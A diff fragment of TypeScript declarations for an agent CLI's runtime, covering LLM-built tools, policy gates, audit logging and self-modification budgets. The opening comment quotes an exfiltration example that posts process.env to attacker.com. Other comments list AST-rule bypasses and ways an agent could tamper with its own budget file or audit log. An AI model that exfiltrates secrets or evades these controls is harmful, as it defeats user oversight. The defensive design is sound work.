* top-level `await fetch('http://attacker.com', { body: process.env })`
|
|
3457
|
+
* was unguarded — see DD §14.5 threat model. loadHandler() now happens
|
|
3458
|
+
* exclusively inside `activate()` after the policy verdict is `'approve'`,
|
|
3459
|
+
* making the policy gate the single chokepoint for code execution.
|
|
3460
|
+
*
|
|
3461
|
+
* The LLM reviewer is opt-in: tests and Phase 1 callers that don't pass
|
|
3462
|
+
* a client get the deterministic AST + schema path only.
|
|
3463
|
+
*/
|
|
3464
|
+
interface TestArtifactOptions {
|
|
3465
|
+
/** Provider whose tool schema constraints are checked. Defaults to 'anthropic'. */
|
|
3466
|
+
readonly provider?: SchemaProvider;
|
|
3467
|
+
/** Inject a real or mock LLM client to run static review. Optional. */
|
|
3468
|
+
readonly llmReviewer?: LlmReviewClient;
|
|
3469
|
+
/**
|
|
3470
|
+
* FEATURE_089 Phase 3.5 — sandbox test runner LLM callback. When
|
|
3471
|
+
* supplied AND the artifact is `kind: 'agent'` AND `content.testCases`
|
|
3472
|
+
* is non-empty, `testAgentArtifact` runs each test case through
|
|
3473
|
+
* `Runner.run` with this callback and folds the results into
|
|
3474
|
+
* `TestResult.errors` / `TestResult.warnings`. When omitted, agent
|
|
3475
|
+
* test pipeline runs only the manifest shape + admission audit
|
|
3476
|
+
* — cases are skipped silently (caller's choice not to sandbox).
|
|
3477
|
+
*/
|
|
3478
|
+
readonly sandboxLlm?: SandboxLlmCallback;
|
|
3479
|
+
/**
|
|
3480
|
+
* Per-case wall-clock budget for sandbox cases. Forwarded to
|
|
3481
|
+
* `runSandboxAgentTest`. Defaults to 30s when undefined.
|
|
3482
|
+
*/
|
|
3483
|
+
readonly sandboxBudgetMs?: number;
|
|
3484
|
+
}
|
|
3485
|
+
declare function test(handle: StagedHandle, options?: TestArtifactOptions): Promise<TestResult>;
|
|
3486
|
+
/**
|
|
3487
|
+
* Activate a staged-and-tested artifact: invoke policy gate, materialize
|
|
3488
|
+
* the handler, register into TOOL_REGISTRY, persist `status='active'`.
|
|
3489
|
+
*
|
|
3490
|
+
* Throws `'reject'` policy verdicts as errors. `'ask-user'` requires the
|
|
3491
|
+
* caller to have overridden the policy (Phase 1 has no built-in prompt UI).
|
|
3492
|
+
*
|
|
3493
|
+
* Pre-conditions:
|
|
3494
|
+
* - artifact.testedAt must be set (test() must have run successfully).
|
|
3495
|
+
* Without this gate the AST/schema/LLM-review chain could be skipped
|
|
3496
|
+
* entirely by an LLM that calls activate_tool directly after stage_tool.
|
|
3497
|
+
* - artifact.status must not be 'revoked' (terminal).
|
|
3498
|
+
*
|
|
3499
|
+
* Side-effects:
|
|
3500
|
+
* - loadHandler() runs `await import(file://…)` AFTER policy approval.
|
|
3501
|
+
* The handler module's top-level code only executes once policy says
|
|
3502
|
+
* 'approve'. This makes the policy gate the single chokepoint for
|
|
3503
|
+
* code execution; the handler does not run during test().
|
|
3504
|
+
* - Records `contentHash = sha256(JSON.stringify(content))` so
|
|
3505
|
+
* rehydrate at the next boot can detect cross-session manifest
|
|
3506
|
+
* tampering (see ConstructionArtifact.contentHash for threat model).
|
|
3507
|
+
*/
|
|
3508
|
+
declare function activate(handle: StagedHandle): Promise<void>;
|
|
3509
|
+
/**
|
|
3510
|
+
* Rehydrate every artifact whose `status === 'active'` back into
|
|
3511
|
+
* TOOL_REGISTRY. Called once at process startup (REPL boot). Does NOT
|
|
3512
|
+
* re-run policy gate — startup is restoring previously-approved state,
|
|
3513
|
+
* not asking for fresh approval.
|
|
3514
|
+
*
|
|
3515
|
+
* Integrity check: each artifact's `contentHash` (recorded at activate
|
|
3516
|
+
* time) is recomputed and compared to the persisted value. Mismatches
|
|
3517
|
+
* are tampered = skipped with a stderr warning. This catches naive
|
|
3518
|
+
* cross-session edits to the manifest JSON (e.g. an LLM rewriting the
|
|
3519
|
+
* file via the Write tool without recomputing the hash). Sophisticated
|
|
3520
|
+
* attackers who recompute the hash can bypass this — defense scoped to
|
|
3521
|
+
* single-user CLI integrity, not multi-tenant supply chain.
|
|
3522
|
+
*
|
|
3523
|
+
* Legacy artifacts written before contentHash existed are accepted as-is
|
|
3524
|
+
* (no hash to compare against) and the missing hash is back-filled on a
|
|
3525
|
+
* future activate() — keeps upgrades from breaking previously-approved
|
|
3526
|
+
* tools.
|
|
3527
|
+
*
|
|
3528
|
+
* Returns counts so callers can surface a loaded/failed/tampered banner.
|
|
3529
|
+
* Failures are logged (console.warn) and rehydration continues for the
|
|
3530
|
+
* remaining artifacts; a single bad manifest must not break boot.
|
|
3531
|
+
*/
|
|
3532
|
+
declare function rehydrateActiveArtifacts(): Promise<{
|
|
3533
|
+
loaded: number;
|
|
3534
|
+
failed: number;
|
|
3535
|
+
tampered: number;
|
|
3536
|
+
}>;
|
|
3537
|
+
/**
|
|
3538
|
+
* Revoke an active constructed tool. Removes the registration from
|
|
3539
|
+
* TOOL_REGISTRY (the stack falls back to any prior version or builtin)
|
|
3540
|
+
* and flips `status` to `'revoked'` on disk. The .js source remains for
|
|
3541
|
+
* audit; the artifact JSON remains for history.
|
|
3542
|
+
*
|
|
3543
|
+
* Idempotent: revoking an unknown name@version is a no-op.
|
|
3544
|
+
*/
|
|
3545
|
+
declare function revoke(name: string, version: string): Promise<void>;
|
|
3546
|
+
/**
|
|
3547
|
+
* List all artifacts on disk, optionally filtered by kind.
|
|
3548
|
+
* Returns artifacts of any status (staged / active / revoked); callers
|
|
3549
|
+
* that only want active should pipe through `.filter(a => a.status === 'active')`.
|
|
3550
|
+
*/
|
|
3551
|
+
declare function list(kind?: ConstructionArtifact['kind']): Promise<ConstructionArtifact[]>;
|
|
3552
|
+
/**
|
|
3553
|
+
* Public lookup: read a persisted artifact by name+version. Iterates every
|
|
3554
|
+
* supported kind. Returns `undefined` if not found.
|
|
3555
|
+
*
|
|
3556
|
+
* Used by the `test_tool` / `activate_tool` builtins to round-trip from a
|
|
3557
|
+
* caller-supplied identifier back to the on-disk manifest, since the
|
|
3558
|
+
* runtime keeps no in-memory artifact cache.
|
|
3559
|
+
*/
|
|
3560
|
+
declare function readArtifact(name: string, version: string): Promise<ConstructionArtifact | undefined>;
|
|
3561
|
+
|
|
3562
|
+
/**
|
|
3563
|
+
* View-layer queries over TOOL_REGISTRY for constructed tools.
|
|
3564
|
+
*
|
|
3565
|
+
* These are pure read helpers — they do NOT re-implement lookup logic;
|
|
3566
|
+
* they enumerate / filter the existing registry stack. Lookup itself
|
|
3567
|
+
* remains owned by `getActiveToolRegistration()` in registry.ts (D2
|
|
3568
|
+
* decision — no Resolver class).
|
|
3569
|
+
*/
|
|
3570
|
+
|
|
3571
|
+
/**
|
|
3572
|
+
* All registrations whose source.kind === 'constructed', across every
|
|
3573
|
+
* name in the registry. Order: registry insertion order per name; names
|
|
3574
|
+
* in `listTools()` order.
|
|
3575
|
+
*/
|
|
3576
|
+
declare function listConstructed(): RegisteredToolDefinition[];
|
|
3577
|
+
/**
|
|
3578
|
+
* Locate a specific constructed registration by name + semver. Returns
|
|
3579
|
+
* undefined if no match exists. Useful for `revoke()` callers and CLI
|
|
3580
|
+
* `inspect` commands.
|
|
3581
|
+
*/
|
|
3582
|
+
declare function findByVersion(name: string, version: string): RegisteredToolDefinition | undefined;
|
|
3583
|
+
/**
|
|
3584
|
+
* Every registration in the stack across every name (builtin + extension
|
|
3585
|
+
* + constructed). Caller filters as needed.
|
|
3586
|
+
*/
|
|
3587
|
+
declare function listAll(): RegisteredToolDefinition[];
|
|
3588
|
+
|
|
3589
|
+
/**
|
|
3590
|
+
* FEATURE_089 (v0.7.31) Phase 3.4 — Constructed Agent Resolver.
|
|
3591
|
+
*
|
|
3592
|
+
* Module-singleton registry mapping `name` → runnable `Agent` for
|
|
3593
|
+
* agents that have passed admission and been activated through
|
|
3594
|
+
* `ConstructionRuntime.activate()`. Mirrors the way TOOL_REGISTRY
|
|
3595
|
+
* holds activated constructed tools, but for agents.
|
|
3596
|
+
*
|
|
3597
|
+
* Why a separate registry (not in TOOL_REGISTRY):
|
|
3598
|
+
*
|
|
3599
|
+
* - Tools and Agents are different runtime types. A `KodaXToolDefinition`
|
|
3600
|
+
* has `input_schema` + `handler`; an `Agent` has `instructions` +
|
|
3601
|
+
* `tools` + `handoffs` + `reasoning`. Conflating them would force
|
|
3602
|
+
* consumers to discriminate on every lookup.
|
|
3603
|
+
* - Resolution semantics differ: a tool lookup returns the executable
|
|
3604
|
+
* handler; an agent lookup returns the declarative spec (Runner.run
|
|
3605
|
+
* drives the loop separately).
|
|
3606
|
+
*
|
|
3607
|
+
* Resolution surface:
|
|
3608
|
+
*
|
|
3609
|
+
* - `resolveConstructedAgent(name)` — name → Agent | undefined
|
|
3610
|
+
* - `listConstructedAgents()` — snapshot of activated agents
|
|
3611
|
+
* - `registerConstructedAgent(artifact)` → unregister fn (called by
|
|
3612
|
+
* runtime on activate, captured in the runtime's `_activated` map)
|
|
3613
|
+
* - `_resetAgentResolverForTesting()` — test isolation
|
|
3614
|
+
*
|
|
3615
|
+
* Tool / handoff ref resolution:
|
|
3616
|
+
* - Tool refs are resolved against TOOL_REGISTRY at activation time —
|
|
3617
|
+
* a snapshot. If a referenced tool is later revoked, the agent
|
|
3618
|
+
* keeps its stale ref; Phase 3.5 sandbox testing catches this.
|
|
3619
|
+
* - Handoff target refs lift to stub Agent objects (`name` only) when
|
|
3620
|
+
* the target hasn't been activated yet. Transitive admission ran
|
|
3621
|
+
* at test time so the graph is known to be acyclic; runtime
|
|
3622
|
+
* traversal just walks the names.
|
|
3623
|
+
*
|
|
3624
|
+
* Non-goal: full referential consistency between tools / agents /
|
|
3625
|
+
* handoffs. The threat model is single-user CLI integrity (DD §14.5);
|
|
3626
|
+
* stale refs are an LLM-authoring footgun, not a security bypass.
|
|
3627
|
+
*/
|
|
3628
|
+
|
|
3629
|
+
/**
|
|
3630
|
+
* Look up an activated constructed agent by name. Returns the
|
|
3631
|
+
* resolved `Agent` (with tools / handoffs lifted from refs). Returns
|
|
3632
|
+
* `undefined` when no agent at that name has been activated.
|
|
3633
|
+
*/
|
|
3634
|
+
declare function resolveConstructedAgent(name: string): Agent | undefined;
|
|
3635
|
+
/**
|
|
3636
|
+
* FEATURE_090 — `true` iff a self-modify activation has been staged
|
|
3637
|
+
* for `name` but has not yet been drained into the active registry.
|
|
3638
|
+
* Surfaces for tooling that wants to display "next run will use
|
|
3639
|
+
* version X" hints, and as a sanity-check assertion in tests.
|
|
3640
|
+
*/
|
|
3641
|
+
declare function hasPendingSwap(name: string): boolean;
|
|
3642
|
+
/**
|
|
3643
|
+
* FEATURE_090 — promote every pending self-modify entry into
|
|
3644
|
+
* `AGENT_REGISTRY`, replacing the prior active version. Returns the
|
|
3645
|
+
* names that were drained so the caller can surface a hint
|
|
3646
|
+
* ("alpha is now running version 1.1.0").
|
|
3647
|
+
*
|
|
3648
|
+
* Idempotent: calling on an empty pending map is a no-op. Atomic at
|
|
3649
|
+
* the JS event-loop level (a single synchronous pass); drain cannot
|
|
3650
|
+
* partially complete.
|
|
3651
|
+
*
|
|
3652
|
+
* Integration contract: the REPL surface calls this immediately after
|
|
3653
|
+
* any top-level `Runner.run` returns. KodaX is single-process and
|
|
3654
|
+
* single-user, so "the run that triggered the change" and "all
|
|
3655
|
+
* in-flight runs" are the same set — no concurrent-run coordination
|
|
3656
|
+
* needed.
|
|
3657
|
+
*/
|
|
3658
|
+
declare function drainPendingSwaps(): readonly string[];
|
|
3659
|
+
|
|
3660
|
+
/**
|
|
3661
|
+
* CtxProxy — runtime gate for constructed tool handlers.
|
|
3662
|
+
*
|
|
3663
|
+
* Constructed handlers run in the host process (no JS-level sandbox; see
|
|
3664
|
+
* DD §14.5 for why we deliberately avoid worker_threads / isolated-vm).
|
|
3665
|
+
* Safety derives from a four-layer model — Guardrail static check,
|
|
3666
|
+
* `capabilities.tools` whitelist declaration, this CtxProxy at runtime,
|
|
3667
|
+
* and policy gate on activate.
|
|
3668
|
+
*
|
|
3669
|
+
* Behavior (v0.7.28, single-dim capabilities) — see DD §14.5.3:
|
|
3670
|
+
* - `ctx.tools.<name>(...)` — capability check first, then dispatch
|
|
3671
|
+
* through `executeTool()` so the call traverses the SAME registry
|
|
3672
|
+
* pipeline as a builtin tool invocation. This "completes the chain":
|
|
3673
|
+
* the constructed handler reuses every safety policy that already
|
|
3674
|
+
* ships with builtins (e.g. bash OS sandbox, write path policy,
|
|
3675
|
+
* truncation, error mapping).
|
|
3676
|
+
* - Plan-mode predicate (`hostCtx.planModeBlockCheck`) is consulted
|
|
3677
|
+
* before every dispatch so a constructed handler cannot reach a
|
|
3678
|
+
* write tool that the parent plan-mode would have blocked. The
|
|
3679
|
+
* predicate closes over live parent state, so toggles propagate
|
|
3680
|
+
* mid-call.
|
|
3681
|
+
* - Constructed→constructed call chains are bounded by
|
|
3682
|
+
* {@link MAX_CONSTRUCTED_DEPTH}. Builtin callees are not counted.
|
|
3683
|
+
* Exceeding the limit returns a tool error rather than throwing —
|
|
3684
|
+
* keeps the parent agent loop alive and reportable.
|
|
3685
|
+
* - Direct `ctx.tools` enumeration / introspection is gated; the
|
|
3686
|
+
* proxied `tools` object only exposes whitelisted names.
|
|
3687
|
+
* - All other `ctx.<x>` properties (executionCwd, abortSignal, etc.)
|
|
3688
|
+
* pass through unchanged — they are framework infra, not tool calls.
|
|
3689
|
+
*
|
|
3690
|
+
* Anti-tampering:
|
|
3691
|
+
* - Returned proxy is `Object.freeze`d at the top level so handlers
|
|
3692
|
+
* cannot reassign `ctx.tools`.
|
|
3693
|
+
* - `Object.getPrototypeOf(proxiedTools)` returns null (no prototype
|
|
3694
|
+
* pollution surface).
|
|
3695
|
+
*
|
|
3696
|
+
* NOT a security boundary in the V8 / sandbox sense — it is a contract
|
|
3697
|
+
* gate. Bypass attempts are part of the threat model addressed by
|
|
3698
|
+
* Guardrail static check + LLM review.
|
|
3699
|
+
*/
|
|
3700
|
+
|
|
3701
|
+
interface CreateCtxProxyOptions {
|
|
3702
|
+
/**
|
|
3703
|
+
* When set, capability denial is reported through this callback before
|
|
3704
|
+
* the error is thrown. Lets the runtime emit a tracer span without
|
|
3705
|
+
* coupling CtxProxy to the tracer module.
|
|
3706
|
+
*/
|
|
3707
|
+
readonly onDenied?: (event: {
|
|
3708
|
+
toolName: string;
|
|
3709
|
+
declaredTools: readonly string[];
|
|
3710
|
+
}) => void;
|
|
3711
|
+
}
|
|
3712
|
+
declare function createCtxProxy(ctx: unknown, capabilities: Capabilities, options?: CreateCtxProxyOptions): unknown;
|
|
3713
|
+
|
|
3714
|
+
/**
|
|
3715
|
+
* loadHandler — turns a manifest's handler script into a callable
|
|
3716
|
+
* `ToolHandler` ready to register into `TOOL_REGISTRY`.
|
|
3717
|
+
*
|
|
3718
|
+
* Pipeline:
|
|
3719
|
+
* 1. Validate language === 'javascript' (v0.7.28 hard limit).
|
|
3720
|
+
* 2. Materialize the handler source onto disk under
|
|
3721
|
+
* `<cwd>/.kodax/constructed/tools/<name>/<version>.js`.
|
|
3722
|
+
* 3. Dynamic `import()` of the file URL — host-process module load,
|
|
3723
|
+
* no worker / vm isolation (DD §14.4).
|
|
3724
|
+
* 4. Wrap with `createCtxProxy` + a Promise.race timeout.
|
|
3725
|
+
*
|
|
3726
|
+
* Design notes:
|
|
3727
|
+
* - Returning `ToolHandlerSync` (not the streaming variant) — v0.7.28
|
|
3728
|
+
* constructed tools are non-streaming computations.
|
|
3729
|
+
* - Handler return value is stringified for the agent loop, mirroring
|
|
3730
|
+
* builtin tool result conventions.
|
|
3731
|
+
* - ESM module cache is intentional: re-loading the same `<version>.js`
|
|
3732
|
+
* returns the cached module. Constructed artifacts are immutable per
|
|
3733
|
+
* version, so this is correct (revoke + new version is the proper
|
|
3734
|
+
* update path).
|
|
3735
|
+
* - Timeout is enforced via Promise.race; the underlying handler
|
|
3736
|
+
* promise is *not* hard-aborted (Node has no general task abort).
|
|
3737
|
+
* Long-running CPU loops will leak past timeout — accepted in the
|
|
3738
|
+
* v0.7.28 threat model (LLM hallucination, not adversarial DoS).
|
|
3739
|
+
*/
|
|
3740
|
+
|
|
3741
|
+
interface LoadHandlerScope {
|
|
3742
|
+
readonly name: string;
|
|
3743
|
+
readonly version: string;
|
|
3744
|
+
/** Workspace root; defaults to `process.cwd()`. */
|
|
3745
|
+
readonly cwd?: string;
|
|
3746
|
+
}
|
|
3747
|
+
interface LoadHandlerOptions {
|
|
3748
|
+
/** Per-tool override; falls back to {@link DEFAULT_HANDLER_TIMEOUT_MS}. */
|
|
3749
|
+
readonly timeoutMs?: number;
|
|
3750
|
+
/** Pass-through to {@link createCtxProxy}. */
|
|
3751
|
+
readonly ctxProxyOptions?: CreateCtxProxyOptions;
|
|
3752
|
+
}
|
|
3753
|
+
declare function loadHandler(scope: LoadHandlerScope, source: ScriptSource, capabilities: Capabilities, options?: LoadHandlerOptions): Promise<ToolHandlerSync>;
|
|
3754
|
+
|
|
3755
|
+
/**
|
|
3756
|
+
* Hard AST rules — first-tier static check for constructed tool handlers.
|
|
3757
|
+
*
|
|
3758
|
+
* Three rules, picked for maximum determinism + minimum cost (DD §14.5.1):
|
|
3759
|
+
* 1. no-eval — any literal eval(...) call
|
|
3760
|
+
* 2. no-Function-constructor — new Function(...) and bare Function(...)
|
|
3761
|
+
* 3. require-handler-signature — module must export `handler` as an async
|
|
3762
|
+
* function/arrow/function-expression with
|
|
3763
|
+
* at least 2 parameters.
|
|
3764
|
+
*
|
|
3765
|
+
* Pass = enter LLM static review (second tier).
|
|
3766
|
+
* Fail = block stage(); errors surface in TestResult.errors.
|
|
3767
|
+
*
|
|
3768
|
+
* Limitations (deliberately):
|
|
3769
|
+
* - We do NOT chase aliases (`const e = eval; e('...')`).
|
|
3770
|
+
* - We do NOT walk property accesses (`globalThis.eval`).
|
|
3771
|
+
* - We do NOT analyze string concat to spot `['req','uire'].join('')`.
|
|
3772
|
+
* All of those are LLM-review territory — the rule set here is the
|
|
3773
|
+
* "cheap, certain" first cut.
|
|
3774
|
+
*
|
|
3775
|
+
* Uses the bundled TypeScript compiler (already a KodaX dep) as the
|
|
3776
|
+
* parser. Source kind is JS — handlers are limited to language='javascript'
|
|
3777
|
+
* by load-handler; we just parse-as-JS to match.
|
|
3778
|
+
*/
|
|
3779
|
+
type AstRuleId = 'no-eval' | 'no-Function-constructor' | 'require-handler-signature';
|
|
3780
|
+
interface AstRuleViolation {
|
|
3781
|
+
readonly rule: AstRuleId;
|
|
3782
|
+
readonly message: string;
|
|
3783
|
+
}
|
|
3784
|
+
interface AstCheckResult {
|
|
3785
|
+
readonly ok: boolean;
|
|
3786
|
+
readonly violations: readonly AstRuleViolation[];
|
|
3787
|
+
}
|
|
3788
|
+
declare function runAstRules(jsCode: string): AstCheckResult;
|
|
3789
|
+
|
|
3790
|
+
/**
|
|
3791
|
+
* FEATURE_090 (v0.7.32) — Self-modify audit log.
|
|
3792
|
+
*
|
|
3793
|
+
* Append-only JSONL at `<cwd>/.kodax/constructed/_audit.jsonl`. Every
|
|
3794
|
+
* self-modify lifecycle event (staged / activated / rejected / rolled-
|
|
3795
|
+
* back / disabled / budget-reset) becomes one line. The file is the
|
|
3796
|
+
* sole record an operator can replay to answer "what did this agent
|
|
3797
|
+
* do to itself, when, and who approved each step."
|
|
3798
|
+
*
|
|
3799
|
+
* Why JSONL not JSON:
|
|
3800
|
+
* - Append is a one-line write, atomic against partial-flush concerns
|
|
3801
|
+
* (each line is independently parseable).
|
|
3802
|
+
* - Read can stream line-by-line without parsing the whole history.
|
|
3803
|
+
* - Standard tooling (jq, grep) works on the file directly.
|
|
3804
|
+
*
|
|
3805
|
+
* Why no rotation / truncation:
|
|
3806
|
+
* - Audit completeness > disk usage. A 100k-line file is ~10 MB and
|
|
3807
|
+
* remains tail-readable. The `kodax constructed audit` CLI surfaces
|
|
3808
|
+
* a warning when an agent crosses 100 entries — escalation cue,
|
|
3809
|
+
* not a hard cap.
|
|
3810
|
+
* - Truncating the audit log would defeat the point: a malicious
|
|
3811
|
+
* agent that gained write access could erase its own history.
|
|
3812
|
+
* Keeping the file append-only at the tooling level means
|
|
3813
|
+
* tampering shows up as JSONL the rest of the system can detect.
|
|
3814
|
+
*
|
|
3815
|
+
* Threat model:
|
|
3816
|
+
* The file lives in the same workspace the agent runs in, so an
|
|
3817
|
+
* agent with arbitrary filesystem write access could mutate it
|
|
3818
|
+
* directly. This module does NOT defend against that — KodaX's
|
|
3819
|
+
* single-user CLI threat model (DD §14.5) treats workspace
|
|
3820
|
+
* integrity as the user's responsibility. Each entry carries a
|
|
3821
|
+
* `diffHash` that downstream replay tools can re-compute against
|
|
3822
|
+
* the corresponding manifest version on disk; mismatches are an
|
|
3823
|
+
* alarm signal, not silently masked.
|
|
3824
|
+
*/
|
|
3825
|
+
|
|
3826
|
+
/**
|
|
3827
|
+
* Discriminated union of audit event kinds. Every self-modify-related
|
|
3828
|
+
* lifecycle transition writes exactly one entry; rollback / disable /
|
|
3829
|
+
* budget-reset are also recorded for full operator visibility.
|
|
3830
|
+
*
|
|
3831
|
+
* `event` is the discriminant. Keep the constant names stable — CLI
|
|
3832
|
+
* filters and replay tooling pivot on these strings.
|
|
3833
|
+
*/
|
|
3834
|
+
type AuditEventKind = 'self_modify_staged' | 'self_modify_tested' | 'self_modify_activated' | 'self_modify_rejected' | 'self_modify_rolled_back' | 'self_modify_disabled' | 'self_modify_budget_reset';
|
|
3835
|
+
|
|
3836
|
+
/**
|
|
3837
|
+
* Single line in `_audit.jsonl`. Frozen after write — entries are
|
|
3838
|
+
* never updated in place. Optional fields are omitted (not nulled)
|
|
3839
|
+
* when the event kind doesn't carry them, so JSON.parse round-trips
|
|
3840
|
+
* to a TS narrowing-friendly shape.
|
|
3841
|
+
*/
|
|
3842
|
+
interface AuditEntry {
|
|
3843
|
+
readonly ts: string;
|
|
3844
|
+
readonly event: AuditEventKind;
|
|
3845
|
+
readonly agentName: string;
|
|
3846
|
+
readonly toVersion: string;
|
|
3847
|
+
/** Prior active version. Undefined for first-time staging events. */
|
|
3848
|
+
readonly fromVersion?: string;
|
|
3849
|
+
/** SHA-256 of the canonicalised `{ prev, next }` content pair. */
|
|
3850
|
+
readonly diffHash?: string;
|
|
3851
|
+
readonly llmSummary?: string;
|
|
3852
|
+
readonly severity?: SelfModifyDiffSeverity;
|
|
3853
|
+
readonly flaggedConcerns?: readonly string[];
|
|
3854
|
+
/**
|
|
3855
|
+
* Verdict surfaced by the policy gate. `force-ask-user` records the
|
|
3856
|
+
* (hypothetical) fact that self-modify path bypassed any global
|
|
3857
|
+
* auto-approve policy and forced a user prompt, distinct from the
|
|
3858
|
+
* default `ask-user`.
|
|
3859
|
+
*/
|
|
3860
|
+
readonly policyVerdict?: 'approve' | 'reject' | 'ask-user' | 'force-ask-user';
|
|
3861
|
+
readonly budgetRemaining?: number;
|
|
3862
|
+
/** Hard-reject rule id when `event === 'self_modify_rejected'`. */
|
|
3863
|
+
readonly rejectRule?: string;
|
|
3864
|
+
readonly rejectReason?: string;
|
|
3865
|
+
/** OS user who took the action; informational, not authoritative. */
|
|
3866
|
+
readonly user?: string;
|
|
3867
|
+
}
|
|
3868
|
+
interface AppendOptions {
|
|
3869
|
+
/** Repo root (defaults to `process.cwd()`). */
|
|
3870
|
+
readonly cwd?: string;
|
|
3871
|
+
}
|
|
3872
|
+
/**
|
|
3873
|
+
* Append a single entry to the audit log. The directory is created on
|
|
3874
|
+
* first call. JSON serialisation enforces the line-per-entry shape:
|
|
3875
|
+
* one `JSON.stringify` followed by a literal `\n`. Multi-line JSON
|
|
3876
|
+
* (pretty-printed) would corrupt the JSONL contract.
|
|
3877
|
+
*
|
|
3878
|
+
* Concurrency note: Node `fs.appendFile` on a single small write is
|
|
3879
|
+
* atomic at the syscall level on the platforms KodaX targets
|
|
3880
|
+
* (Linux/macOS/Windows). KodaX is single-user CLI so concurrent
|
|
3881
|
+
* writers are not a real concern; defending against them would
|
|
3882
|
+
* require a lock file the rest of the construction runtime doesn't
|
|
3883
|
+
* carry.
|
|
3884
|
+
*/
|
|
3885
|
+
declare function appendAuditEntry(entry: AuditEntry, options?: AppendOptions): Promise<void>;
|
|
3886
|
+
interface ReadOptions {
|
|
3887
|
+
readonly cwd?: string;
|
|
3888
|
+
/** Filter to a single agent. Undefined returns all entries. */
|
|
3889
|
+
readonly agentName?: string;
|
|
3890
|
+
/** Filter to specific event kinds. Undefined matches every kind. */
|
|
3891
|
+
readonly events?: readonly AuditEventKind[];
|
|
3892
|
+
}
|
|
3893
|
+
/**
|
|
3894
|
+
* Stream the audit log line-by-line, parse each, and return entries
|
|
3895
|
+
* matching the optional filters. Malformed lines are skipped with a
|
|
3896
|
+
* stderr warning — a single corrupted entry must not poison the
|
|
3897
|
+
* entire history. (This mirrors `loadAllArtifacts` in runtime.ts.)
|
|
3898
|
+
*
|
|
3899
|
+
* Returns an empty array when the audit file does not exist (fresh
|
|
3900
|
+
* workspace, no self-modify ever recorded).
|
|
3901
|
+
*/
|
|
3902
|
+
declare function readAuditEntries(options?: ReadOptions): Promise<AuditEntry[]>;
|
|
3903
|
+
|
|
3904
|
+
/**
|
|
3905
|
+
* FEATURE_090 (v0.7.32) — Self-modify budget counter.
|
|
3906
|
+
*
|
|
3907
|
+
* Per-agent counter persisted at
|
|
3908
|
+
* `<cwd>/.kodax/constructed/agents/<name>/_self_modify.json`. The
|
|
3909
|
+
* counter caps how many cross-run self-modify cycles an agent can
|
|
3910
|
+
* accumulate before requiring a human unlock. Without this cap, an
|
|
3911
|
+
* agent that learns to self-modify could rewrite itself on every
|
|
3912
|
+
* session boot until it drifts arbitrarily far from the original
|
|
3913
|
+
* design — Layer A admission and the policy gate would each be a
|
|
3914
|
+
* single rubber-stamp click away.
|
|
3915
|
+
*
|
|
3916
|
+
* Why a separate file (not in the manifest):
|
|
3917
|
+
* - Manifests are content-hashed and version-immutable
|
|
3918
|
+
* (`stage()` refuses to rewrite an existing version). A counter
|
|
3919
|
+
* that mutates across versions cannot live inside the hashed
|
|
3920
|
+
* content without breaking the `contentHash` integrity guarantee.
|
|
3921
|
+
* - The counter accumulates across versions; binding it to one
|
|
3922
|
+
* `<version>.json` would lose state on every bump.
|
|
3923
|
+
*
|
|
3924
|
+
* Why hard-coded N=3 (not configurable):
|
|
3925
|
+
* - System-level safety constants the agent cannot influence are
|
|
3926
|
+
* part of the threat model. Allowing per-agent override would
|
|
3927
|
+
* mean a self-modifying agent could lift its own ceiling — the
|
|
3928
|
+
* opposite of what the budget is for. Users adjust by reset
|
|
3929
|
+
* (CLI `kodax constructed reset-self-modify-budget <name>`),
|
|
3930
|
+
* not by config.
|
|
3931
|
+
*
|
|
3932
|
+
* Threat model & hardening:
|
|
3933
|
+
* The file is plain JSON in the user's workspace. An agent with
|
|
3934
|
+
* filesystem write access (via Write/Edit tools) is an active
|
|
3935
|
+
* threat for FEATURE_090 — the agent itself is the actor we
|
|
3936
|
+
* gate against. We harden two ways:
|
|
3937
|
+
*
|
|
3938
|
+
* - The persisted `limit` is IGNORED on read; `readBudget`
|
|
3939
|
+
* always returns `DEFAULT_SELF_MODIFY_BUDGET` as the limit.
|
|
3940
|
+
* Tampering the file to raise the cap is a no-op.
|
|
3941
|
+
* - The persisted `count` is clamped to `>= 0` on read so a
|
|
3942
|
+
* negative number cannot grant extra remaining budget.
|
|
3943
|
+
*
|
|
3944
|
+
* What we do NOT defend against: an attacker with shell-level
|
|
3945
|
+
* filesystem access can still delete the file, which resets the
|
|
3946
|
+
* counter to zero. The audit log captures the behavioural gap
|
|
3947
|
+
* (5 self-modifies recorded but post-modify counter shows 0)
|
|
3948
|
+
* and an operator replaying the log notices.
|
|
3949
|
+
*/
|
|
3950
|
+
/**
|
|
3951
|
+
* Default cross-run self-modify budget. N=3 was chosen as the
|
|
3952
|
+
* minimum that allows "two course corrections, then settle" while
|
|
3953
|
+
* forcing re-engagement before the agent drifts far from its
|
|
3954
|
+
* original design. Lifting this requires deliberately re-evaluating
|
|
3955
|
+
* whether the audit log + ratchet alone are sufficient.
|
|
3956
|
+
*
|
|
3957
|
+
* Not exported as a configurable knob — see module docstring for
|
|
3958
|
+
* the rationale.
|
|
3959
|
+
*/
|
|
3960
|
+
declare const DEFAULT_SELF_MODIFY_BUDGET = 3;
|
|
3961
|
+
/**
|
|
3962
|
+
* On-disk shape of the per-agent budget file. `limit` and `count`
|
|
3963
|
+
* are stored as plain integers. `lastModifiedAt` is ISO-8601 (sortable
|
|
3964
|
+
* + human-readable) — the audit log carries millisecond timestamps,
|
|
3965
|
+
* which complement, not duplicate, this field.
|
|
3966
|
+
*/
|
|
3967
|
+
interface BudgetState {
|
|
3968
|
+
readonly name: string;
|
|
3969
|
+
readonly limit: number;
|
|
3970
|
+
readonly count: number;
|
|
3971
|
+
readonly lastModifiedAt?: string;
|
|
3972
|
+
}
|
|
3973
|
+
interface BudgetIO {
|
|
3974
|
+
readonly cwd?: string;
|
|
3975
|
+
}
|
|
3976
|
+
/**
|
|
3977
|
+
* Read the agent's current budget state, materialising the default
|
|
3978
|
+
* record on first access. The default record is NOT persisted at
|
|
3979
|
+
* read time — only `consumeBudget` and `resetBudget` write to disk.
|
|
3980
|
+
* Read-only callers (e.g. the CLI's `audit` listing) must remain
|
|
3981
|
+
* side-effect-free so a `--dry-run` mode is trivially possible later.
|
|
3982
|
+
*/
|
|
3983
|
+
declare function readBudget(name: string, io?: BudgetIO): Promise<BudgetState>;
|
|
3984
|
+
/**
|
|
3985
|
+
* Number of remaining self-modify slots. `limit - count`, clamped at
|
|
3986
|
+
* zero so a corrupt file that recorded `count > limit` doesn't show
|
|
3987
|
+
* a negative remaining count to the user.
|
|
3988
|
+
*/
|
|
3989
|
+
